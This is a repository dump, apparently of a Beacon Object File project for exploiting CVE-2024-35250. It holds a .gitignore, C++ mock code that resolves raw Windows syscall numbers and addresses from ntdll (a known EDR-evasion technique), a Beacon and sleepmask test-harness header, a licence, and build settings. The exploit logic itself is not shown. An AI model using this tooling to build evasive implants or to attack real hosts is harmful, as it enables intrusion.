#bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/base/mock_syscalls.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | extern "C" { 5 | #ifdef _DEBUG 6 | #undef DECLSPEC_IMPORT 7 | #define DECLSPEC_IMPORT 8 | #endif 9 | #include "..\beacon.h" 10 | } 11 | 12 | namespace bof { 13 | namespace mock { 14 | namespace syscall { 15 | /** 16 | * @brief A function to find the first occurrence of a system call instruction in memory. 17 | * 18 | * This function searches for a specific system call instruction pattern within the 19 | * memory block starting at the given address 'addr'. The pattern to search for 20 | * depends on the target architecture: 21 | * 22 | * - On x64, the assembly pattern is: 'syscall; ret;' (0x0f, 0x05, 0xc3). 23 | * - On x86, the assembly pattern is: 'sysenter; ret;' (0x0f, 0x34, 0xc3). 24 | * 25 | * @param addr A pointer to the starting address of the memory block. 26 | * @return A pointer to the first occurrence of the system call instruction pattern 27 | * if found, or NULL if the pattern is not found within the first 32 bytes. 28 | * 29 | */ 30 | 31 | PBYTE FindSyscallInstruction(PBYTE addr) { 32 | #if _M_X64 33 | char syscallPattern[] = { '\x0f', '\x05', '\xc3' }; // syscall; ret; 34 | #else 35 | char syscallPattern[] = { '\x0f', '\x34', '\xc3' }; // sysenter; ret; 36 | #endif 37 | for (int offset = 0; offset < 32; ++offset) { 38 | if (!memcmp(syscallPattern, (char*)addr + offset, sizeof(syscallPattern))) { 39 | return addr + offset; 40 | } 41 | } 42 | return NULL; 43 | } 44 | 45 | /** 46 | * @brief Find the system call number in the memory block 47 | * 48 | * This function searches for a specific pattern within the memory block starting at the 49 | * given address 'addr' to identify the system call number. The pattern to search for 50 | * depends on the target architecture: 51 | * 52 | * - On x64, the assembly pattern is: 'mov r10, rcx; mov eax, ' (0x4c, 0x8b, 0xd1, 0xb8). 53 | * - On x86, the assembly pattern is: 'mov eax, ' (0xb8). 54 | * 55 | * @param addr A pointer to the starting address of the memory block. 56 | * @return The system call number found in memory following the pattern, or 0 if the 57 | * pattern is not found within the first 32 bytes. 58 | * 59 | */ 60 | DWORD FindSyscallNumber(PBYTE addr) { 61 | #if _M_X64 62 | char syscallPattern[] = { '\x4c', '\x8b', '\xd1', '\xb8' }; 63 | #else 64 | char syscallPattern[] = { '\xb8' }; 65 | #endif 66 | for (int offset = 0; offset < 32; ++offset) { 67 | if (!memcmp(syscallPattern, (char*)addr + offset, sizeof(syscallPattern))) { 68 | DWORD* numAddress = (DWORD*)(addr + offset + sizeof(syscallPattern)); 69 | return *numAddress; 70 | } 71 | } 72 | return 0; 73 | } 74 | 75 | /** 76 | * A function to resolve the a system call number and function address. 77 | * 78 | * @param entry A pointer to a SYSCALL_API_ENTRY structure where resolved information will be stored. 79 | * @param funcHash Hash value representing the target function to resolve. 80 | * @return Returns TRUE if the resolution is successful; otherwise, returns FALSE. 81 | * 82 | */ 83 | BOOL ResolveSyscallEntry(PSYSCALL_API_ENTRY entry, const char* funcName) { 84 | // Resolve the NT function address 85 | static HMODULE ntdll = LoadLibraryA("ntdll"); 86 | PVOID fnAddr = GetProcAddress(ntdll, funcName); 87 | 88 | if (!fnAddr) { 89 | return FALSE; 90 | } 91 | 92 | // Find the syscall number 93 | DWORD sysnum = FindSyscallNumber((PBYTE)fnAddr); 94 | 95 | // Find the address of the syscall instruction 96 | PVOID jmpAddr = FindSyscallInstruction((PBYTE)fnAddr); 97 | 98 | #ifdef _M_IX86 99 | if (!jmpAddr) { 100 | jmpAddr = (PVOID)__readfsdword(0xc0); // If WoW64, this returns wow64cpu!X86SwitchTo64BitMode 101 | } 102 | #endif 103 | 104 | // We did not find the syscall 105 | if (sysnum == 0 || jmpAddr == NULL) { 106 | return FALSE; 107 | } 108 | 109 | // Fill the entry 110 | entry->fnAddr = fnAddr; 111 | entry->sysnum = sysnum; 112 | entry->jmpAddr = jmpAddr; 113 | 114 | return TRUE; 115 | } 116 | 117 | /** 118 | * A helper macro for resolving an SYSCALL_API_ENTRY. 119 | * 120 | * @param field The field in the SYSCALL_API structure in which the resolved entry will be stored. 121 | * @param name The function name used to generate a compile-time hash for entry lookup. 122 | */ 123 | #define RESOLVE_ENTRY(field, name) { \ 124 | if(!ResolveSyscallEntry(&field, name)) { assert(false && "Could not resolve the syscall entry"); } \ 125 | } 126 | 127 | /** 128 | * Resolve system call function addresses and syscall numbers. 129 | * 130 | * @param syscalls A pointer to a SYSCALL_API structure. 131 | * @return TRUE if all system call entries are successfully resolved, FALSE otherwise. 132 | * 133 | */ 134 | void ResolveSyscalls(PSYSCALL_API syscalls) { 135 | RESOLVE_ENTRY(syscalls->ntAllocateVirtualMemory, "NtAllocateVirtualMemory"); 136 | RESOLVE_ENTRY(syscalls->ntAllocateVirtualMemory, "NtAllocateVirtualMemory"); 137 | RESOLVE_ENTRY(syscalls->ntProtectVirtualMemory, "NtProtectVirtualMemory"); 138 | RESOLVE_ENTRY(syscalls->ntFreeVirtualMemory, "NtFreeVirtualMemory"); 139 | RESOLVE_ENTRY(syscalls->ntGetContextThread, "NtGetContextThread"); 140 | RESOLVE_ENTRY(syscalls->ntSetContextThread, "NtSetContextThread"); 141 | RESOLVE_ENTRY(syscalls->ntResumeThread, "NtResumeThread"); 142 | RESOLVE_ENTRY(syscalls->ntCreateThreadEx, "NtCreateThreadEx"); 143 | RESOLVE_ENTRY(syscalls->ntOpenProcess, "NtOpenProcess"); 144 | RESOLVE_ENTRY(syscalls->ntOpenThread, "NtOpenThread"); 145 | RESOLVE_ENTRY(syscalls->ntClose, "NtClose"); 146 | RESOLVE_ENTRY(syscalls->ntCreateSection, "NtCreateSection"); 147 | RESOLVE_ENTRY(syscalls->ntMapViewOfSection, "NtMapViewOfSection"); 148 | RESOLVE_ENTRY(syscalls->ntUnmapViewOfSection, "NtUnmapViewOfSection"); 149 | RESOLVE_ENTRY(syscalls->ntQueryVirtualMemory, "NtQueryVirtualMemory"); 150 | RESOLVE_ENTRY(syscalls->ntDuplicateObject, "NtDuplicateObject"); 151 | RESOLVE_ENTRY(syscalls->ntReadVirtualMemory, "NtReadVirtualMemory"); 152 | RESOLVE_ENTRY(syscalls->ntWriteVirtualMemory, "NtWriteVirtualMemory"); 153 | RESOLVE_ENTRY(syscalls->ntReadFile, "NtReadFile"); 154 | RESOLVE_ENTRY(syscalls->ntWriteFile, "NtWriteFile"); 155 | RESOLVE_ENTRY(syscalls->ntCreateFile, "NtCreateFile"); 156 | } 157 | 158 | /** 159 | * A function to resolve the RTL function address. 160 | * 161 | * @param address A pointer to where the resolved information will be stored. 162 | * @param funcHash Hash value representing the target function to resolve. 163 | * 164 | * @return Returns TRUE if the resolution is successful; otherwise, returns FALSE. 165 | * 166 | */ 167 | BOOL ResolveNtdllFunc(PVOID* address, const char* funcName) { 168 | static const HMODULE ntdll = LoadLibraryA("ntdll"); 169 | *address = GetProcAddress(ntdll, funcName); 170 | return *address != NULL; 171 | } 172 | 173 | /** 174 | * A helper macro for resolving a RTL function address. 175 | * 176 | * @param field The field in the RTL_API structure in which the resolved function address will be stored. 177 | * @param name The function name used to generate a compile-time hash for entry lookup. 178 | */ 179 | #define RESOLVE_RTL_ENTRY(field, name) { \ 180 | if(!ResolveNtdllFunc(&field, name)) { assert(field && "Could not resolve RTL entry"); } \ 181 | } 182 | 183 | /** 184 | * Resolve RTL function addresses. 185 | * 186 | * @param rtls A pointer to a RTL_API structure. 187 | * 188 | */ 189 | void ResolveRtls(PRTL_API rtls) { 190 | /* Resolve the RTL function addresses */ 191 | RESOLVE_RTL_ENTRY(rtls->rtlDosPathNameToNtPathNameUWithStatusAddr, "RtlDosPathNameToNtPathName_U_WithStatus"); 192 | RESOLVE_RTL_ENTRY(rtls->rtlFreeHeapAddr, "RtlFreeHeap"); 193 | rtls->rtlGetProcessHeapAddr = GetProcessHeap(); 194 | assert(rtls->rtlGetProcessHeapAddr && "Could not get the process heap address"); 195 | } 196 | } 197 | } 198 | } -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/base/mock.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "../sleepmask.h" 5 | 6 | namespace bof { 7 | const DWORD CsVersion = 0x041000; 8 | 9 | namespace profile { 10 | /** 11 | * Enum classes to mimic the stage block in the C2 profile. 12 | */ 13 | enum class Allocator { 14 | VirtualAlloc, 15 | HeapAlloc, 16 | MapViewOfFile 17 | }; 18 | enum class Obfuscate { 19 | False, 20 | True 21 | }; 22 | enum class UseRWX { 23 | False, 24 | True 25 | }; 26 | 27 | struct Stage { 28 | Allocator allocator; 29 | Obfuscate obfuscate; 30 | UseRWX useRWX; 31 | std::string module; 32 | }; 33 | 34 | const Stage defaultStage = { 35 | .allocator = bof::profile::Allocator::VirtualAlloc, 36 | .obfuscate = bof::profile::Obfuscate::False, 37 | .useRWX = bof::profile::UseRWX::True, 38 | .module = "", 39 | }; 40 | } 41 | 42 | namespace mock { 43 | /** 44 | * Data container class used for packing BOF arguments. 45 | */ 46 | class BofData { 47 | public: 48 | /** 49 | * Pack a variadic number of arguments. 50 | * Equivalent to the bof_pack function. 51 | * 52 | * For example, bof_pack("isz", 1, 2, "hello") 53 | * -> pack(1, 2, "hello") 54 | * 55 | * @param ... arguments 56 | */ 57 | template 58 | void pack(T &&...v) 59 | { 60 | ((insert(std::forward(v))), ...); 61 | } 62 | 63 | /** 64 | * Add binary data to the argument buffer. 65 | * Equivalent to bof_pack("b", $data). 66 | * 67 | * @param buf A char pointer to the data 68 | * @param len A length to the data 69 | */ 70 | void addData(const char *buf, std::size_t len); 71 | 72 | 73 | /** 74 | * << operator to allow an alternative way to build the argument buffer. 75 | * 76 | * For example: args << 123 << 32; 77 | * 78 | * @param container A BofData object 79 | * @param arg An argument 80 | */ 81 | template 82 | friend BofData &operator<<(BofData &container, T arg) 83 | { 84 | container.pack(arg); 85 | return container; 86 | } 87 | 88 | /** 89 | * Return a raw argument buffer. 90 | * 91 | * @return A char pointer of raw argument buffer 92 | */ 93 | char* get(); 94 | 95 | /** 96 | * Get the size of the argument buffer. 97 | * 98 | * @return A size of the argument buffer 99 | */ 100 | int size(); 101 | private: 102 | void append(const std::vector &data); 103 | void insert(int v); 104 | void insert(short v); 105 | void insert(unsigned int v); 106 | void insert(unsigned short v); 107 | void insert(const char *v); 108 | void insert(const wchar_t *v); 109 | void insert(const std::vector& data); 110 | 111 | std::vector data; 112 | }; 113 | 114 | /** 115 | * This structure holds the information about how the mock runner should 116 | * execute the sleepmask. 117 | */ 118 | typedef struct { 119 | DWORD sleepTimeMs; 120 | bool runForever; 121 | } MockSleepMaskConfig; 122 | 123 | /** 124 | * Setup memory for a mock Beacon 125 | * 126 | * The memory layout is created by mimicking Beacon's default reflective loader, 127 | * and the related C2 options 128 | * 129 | * @param stage The applicable stage{} options 130 | * @return the mock Beacon memory structure 131 | */ 132 | BEACON_INFO setupMockBeacon(const bof::profile::Stage& stage); 133 | } 134 | 135 | namespace output { 136 | /** 137 | * Data structure to store a output from BOF 138 | */ 139 | struct OutputEntry { 140 | /** 141 | * The callback type. E.g. CALLBACK_OUTPUT 142 | */ 143 | int callbackType; 144 | 145 | /** 146 | * The output data 147 | */ 148 | std::string output; 149 | 150 | /** 151 | * Equivalence overloading. 152 | * 153 | * param other Another OutputEntry object 154 | */ 155 | bool operator==(const OutputEntry& other) const { 156 | return callbackType == other.callbackType && output == other.output; 157 | } 158 | }; 159 | 160 | /** 161 | * Returns the list of BOF outputs 162 | * 163 | * @return A vector of OutputEntry objects 164 | */ 165 | const std::vector& getOutputs(); 166 | 167 | /** 168 | * Clear the currently stored BOF outputs 169 | */ 170 | void reset(); 171 | 172 | /** 173 | * Pretty print an OutputEntry object. 174 | * Required by the GoogleTest. 175 | * 176 | * @param o An OutputEntry object 177 | * @param os An output stream 178 | */ 179 | void PrintTo(const OutputEntry& o, std::ostream* os); 180 | } 181 | 182 | namespace valuestore { 183 | /** 184 | * Clear items in BOF Key/Value store 185 | */ 186 | void reset(); 187 | } 188 | 189 | namespace bud { 190 | /** 191 | * Clear the custom data buffer in Beacon User Data 192 | */ 193 | void reset(); 194 | 195 | /** 196 | * Set the custom data buffer in Beacon User Data 197 | * 198 | * @param data A pointer to custom data buffer 199 | */ 200 | void set(const char* data); 201 | } 202 | 203 | /** 204 | * Execute a BOF with arguments 205 | * 206 | * @param entry BOF's entry point 207 | * @param ... arguments 208 | * @return A vector of OutputEntry objects 209 | */ 210 | template 211 | std::vector runMocked(void (*entry)(char*, int), T &&...v) { 212 | // Reset the global output container 213 | bof::output::reset(); 214 | // Pack the arguments 215 | bof::mock::BofData args; 216 | args.pack(std::forward(v)...); 217 | // Execute the entrypoint 218 | entry(args.get(), args.size()); 219 | // Return the stored outputs 220 | return bof::output::getOutputs(); 221 | } 222 | 223 | /** 224 | * Setup a mock-up Beacon and execute the sleepmask function once with the default .stage options and mock-up config. 225 | * 226 | * @param sleepMaskFunc the function pointer for the sleepmask 227 | * @return A vector of OutputEntry objects 228 | */ 229 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc); 230 | 231 | /** 232 | * Setup a mock-up Beacon and execute the sleepmask function using a custom stage profile, and the default mock-up config. 233 | * 234 | * @param sleepMaskFunc the function pointer for the sleepmask 235 | * @param stage the stage options 236 | * @return A vector of OutputEntry objects 237 | */ 238 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc, const bof::profile::Stage& stage); 239 | 240 | /** 241 | * Setup a mock-up Beacon and execute the sleepmask function using a custom stage profile and mock-up config. 242 | * 243 | * @param sleepMaskFunc the function pointer for the sleepmask 244 | * @param stage the applicable stage{} options 245 | * @param config the mockup config 246 | * @return A vector of OutputEntry objects 247 | */ 248 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc, const bof::profile::Stage& stage, const bof::mock::MockSleepMaskConfig& config); 249 | 250 | /** 251 | * Execute the sleepmask. 252 | * 253 | * @param sleepMaskFunc the function pointer for the sleepmask 254 | * @param sleepMaskInfo the pointer to the SLEEPMASK_INFO structure 255 | * @param functionCall the pointer to the FUNCTION_CALL structure 256 | * @return A vector of OutputEntry objects 257 | */ 258 | std::vector runMockedSleepMask(SLEEPMASK_FUNC sleepMaskFunc, PSLEEPMASK_INFO sleepMaskInfo, PFUNCTION_CALL functionCall); 259 | 260 | /** 261 | * Setup a mock-up Beacon and execute the sleepmask function as Beacon Gate with the default stage block. 262 | * 263 | * @param sleepMaskFunc the function pointer for the sleepmask 264 | * @param functionCall the pointer to FUNCTION_CALL structure 265 | * @return A vector of OutputEntry objects 266 | */ 267 | std::vector runMockedBeaconGate(SLEEPMASK_FUNC sleepMaskFunc, PFUNCTION_CALL functionCall); 268 | 269 | /** 270 | * Setup a mock-up Beacon and execute the sleepmask function as Beacon Gate with a custom stage profile. 271 | * 272 | * @param sleepMaskFunc the function pointer for the sleepmask 273 | * @param functionCall the pointer to FUNCTION_CALL structure 274 | * @param stage the stage options 275 | * @return A vector of OutputEntry objects 276 | */ 277 | std::vector runMockedBeaconGate(SLEEPMASK_FUNC sleepMaskFunc, PFUNCTION_CALL functionCall, const bof::profile::Stage& stage); 278 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/CVE-2024-35250-BOF.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | UnitTest 22 | Win32 23 | 24 | 25 | UnitTest 26 | x64 27 | 28 | 29 | 30 | 16.0 31 | Win32Proj 32 | {58ebee7c-b0cf-49e3-ae82-e60750c03613} 33 | BOFTemplate 34 | 10.0 35 | CVE-2024-35250-BOF 36 | 37 | 38 | 39 | Makefile 40 | true 41 | v143 42 | Unicode 43 | Debug\bof.exe 44 | WindowsLocalDebugger 45 | 46 | 47 | Application 48 | true 49 | v143 50 | Unicode 51 | 52 | 53 | Makefile 54 | false 55 | v143 56 | true 57 | Unicode 58 | 59 | 60 | Makefile 61 | true 62 | v143 63 | Unicode 64 | x64\Debug\bof.exe 65 | WindowsLocalDebugger 66 | 67 | 68 | Application 69 | true 70 | v143 71 | Unicode 72 | 73 | 74 | Makefile 75 | false 76 | v143 77 | true 78 | Unicode 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | nmake all 106 | nmake /B all 107 | nmake clean 108 | /std:c++20 109 | 110 | 111 | nmake all 112 | nmake /B all 113 | nmake clean 114 | /std:c++20 115 | 116 | 117 | nmake all-debug 118 | nmake /B all-debug 119 | nmake clean 120 | /std:c++20 121 | 122 | 123 | nmake all-debug 124 | nmake /B all-debug 125 | nmake clean 126 | 127 | 128 | nmake all-debug 129 | nmake /B all-debug 130 | nmake clean 131 | $(MSBuildProjectDirectory)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;$(IncludePath) 132 | /std:c++20 133 | 134 | 135 | nmake all-debug 136 | nmake /B all-debug 137 | nmake clean 138 | 139 | 140 | 141 | Level3 142 | true 143 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 144 | false 145 | stdcpp17 146 | 147 | 148 | Console 149 | true 150 | 151 | 152 | 153 | 154 | Level3 155 | true 156 | WIN32;_DEBUG;_CONSOLE;_GTEST;%(PreprocessorDefinitions) 157 | false 158 | stdcpp20 159 | MultiThreadedDebug 160 | $(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;%(AdditionalIncludeDirectories) 161 | 162 | 163 | Console 164 | true 165 | $(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtest_maind.lib;$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtestd.lib;%(AdditionalDependencies) 166 | 